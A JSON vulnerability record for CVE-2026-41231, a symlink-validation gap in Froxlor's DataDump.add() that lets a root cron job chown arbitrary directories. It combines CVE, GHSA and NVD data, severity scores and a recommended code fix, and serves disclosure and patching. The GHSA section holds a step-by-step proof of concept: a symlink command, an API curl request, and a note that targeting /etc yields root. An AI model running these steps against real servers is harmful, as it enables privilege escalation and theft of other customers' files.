{"id":"CVE-2026-41231","aliases":["CVE-2026-41231","GHSA-75h4-c557-j89r"],"related":[],"kind":"vulnerability","state":"published","title":"Froxlor has Incomplete Symlink Validation in DataDump.add() that Allows Arbitrary Directory Ownership Takeover via Cron","summary":"Froxlor is open source server administration software. Prior to version 2.3.6, `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Froxlor is open source server administration software. Prior to version 2.3.6, `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.\n\n## Details\n\nThe vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`).\n\nEvery customer-facing API command that builds a path from user input passes this parameter:\n\n```php\n// DirProtections.php:87\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// DirOptions.php:96\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// Ftps.php:178\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// SubDomains.php:585\nreturn FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nBut `DataDump.add()` was missed:\n\n```php\n// DataDump.php:88 — NO $fixed_homedir parameter\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n```\n\nThe path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`):\n\n```php\nCronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);\n```\n\nWhen `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`:\n\n```php\nFileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n```\n\nThe `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.\n\nThe `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\\r\\n\\t\\f\\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks.\n\n## PoC\n\nPrerequisites:\n- `system.exportenabled` = 1 (admin setting)\n- Customer account with API key and FTP/SSH access\n\n```bash\n# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory\n# (customer has FTP/SSH access to their own docroot)\nssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'\n\n# Step 2: Schedule data export via API with path pointing to the symlink\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"header\":{\"apikey\":\"CUSTOMER_API_KEY\",\"secret\":\"CUSTOMER_API_SECRET\"},\"body\":{\"command\":\"DataDump.add\",\"params\":{\"path\":\"steal\",\"dump_web\":\"1\"}}}' \\\n  https://panel.example.com/api.php\n\n# Expected response: 200 OK with task_data including destdir\n\n# Step 3: Wait for ExportCron to run (hourly cron as root)\n# The cron executes:\n#   mkdir -p '/var/customers/webs/attacker_customer/steal/'       (follows symlink, dir exists)\n#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker's web data)\n#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'\n#   mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'\n#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'\n#\n# The final chown resolves the symlink and recursively chowns\n# /var/customers/webs/victim_customer/ to the attacker's UID/GID.\n\n# Step 4: Attacker now owns all of victim's web files\nssh customer@server 'ls -la /var/customers/webs/victim_customer/'\n# All files now owned by attacker_customer UID\n\n# For system-level escalation, the symlink can target /etc:\n# ln -s /etc /var/customers/webs/attacker_customer/steal\n# After cron: attacker owns /etc/passwd, /etc/shadow → root shell\n```\n\n## Impact\n\n- **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.\n- **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification.\n- **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.\n- **Service disruption:** Changing ownership of system directories can break system services.\n\nThe attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.\n\n## Recommended Fix\n\nPass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command:\n\n```php\n// lib/Froxlor/Api/Commands/DataDump.php, line 88\n// Before (vulnerable):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n\n// After (fixed):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nAdditionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`:\n\n```php\n// lib/Froxlor/Cron/System/ExportCron.php, line 232\n// Add symlink check before chown\nif (is_link(rtrim($data['destdir'], '/'))) {\n    $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']);\n} else {\n    FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Froxlor es software de administración de servidores de código abierto. Antes de la versión 2.3.6, ’DataDump.add()’ construye la ruta de destino de exportación a partir de la entrada proporcionada por el usuario sin pasar el parámetro “$fixed_homedir” a ’FileDir::makeCorrectDir()’, eludiendo la validación de enlaces simbólicos que se añadió a todas las demás operaciones de ruta orientadas al cliente (probablemente como la solución para CVE-2023-6069). Cuando ExportCron se ejecuta como root, ejecuta ’chown -R’ en el destino del enlace simbólico resuelto, permitiendo a un cliente tomar posesión de directorios arbitrarios en el sistema. La versión 2.3.6 contiene una solución actualizada.","source":"nvd"}],"published":"2026-04-16T00:47:18.000Z","modified":"2026-11-11T23:10:00.263Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-59"],"affected":[{"ranges":[{"version":"< 2.3.6","status":"affected"}],"vendor":"froxlor","product":"froxlor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.3.6"}],"ecosystem":"Packagist","package":"froxlor/froxlor","purl":"pkg:composer/froxlor/froxlor","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.3.6"}],"vendor":"froxlor","product":"froxlor","cpe":"cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41231","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/froxlor","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-23T14:48:21.532Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41231","url":"https://www.cve.org/CVERecord?id=CVE-2026-41231","licence":"CVE Terms of Use","modified":"2026-04-23T16:23:03.549Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-75h4-c557-j89r","url":"https://github.com/advisories/GHSA-75h4-c557-j89r","licence":"CC-BY-4.0","modified":"2026-05-05T16:11:40.516Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41231","licence":"Public domain","modified":"2026-11-11T23:10:00.263Z"}],"updatedAt":"2026-11-25T22:59:19.377Z","epss":{"score":0.0043,"percentile":0.39117,"date":"2026-12-01T12:00:22.000Z"}}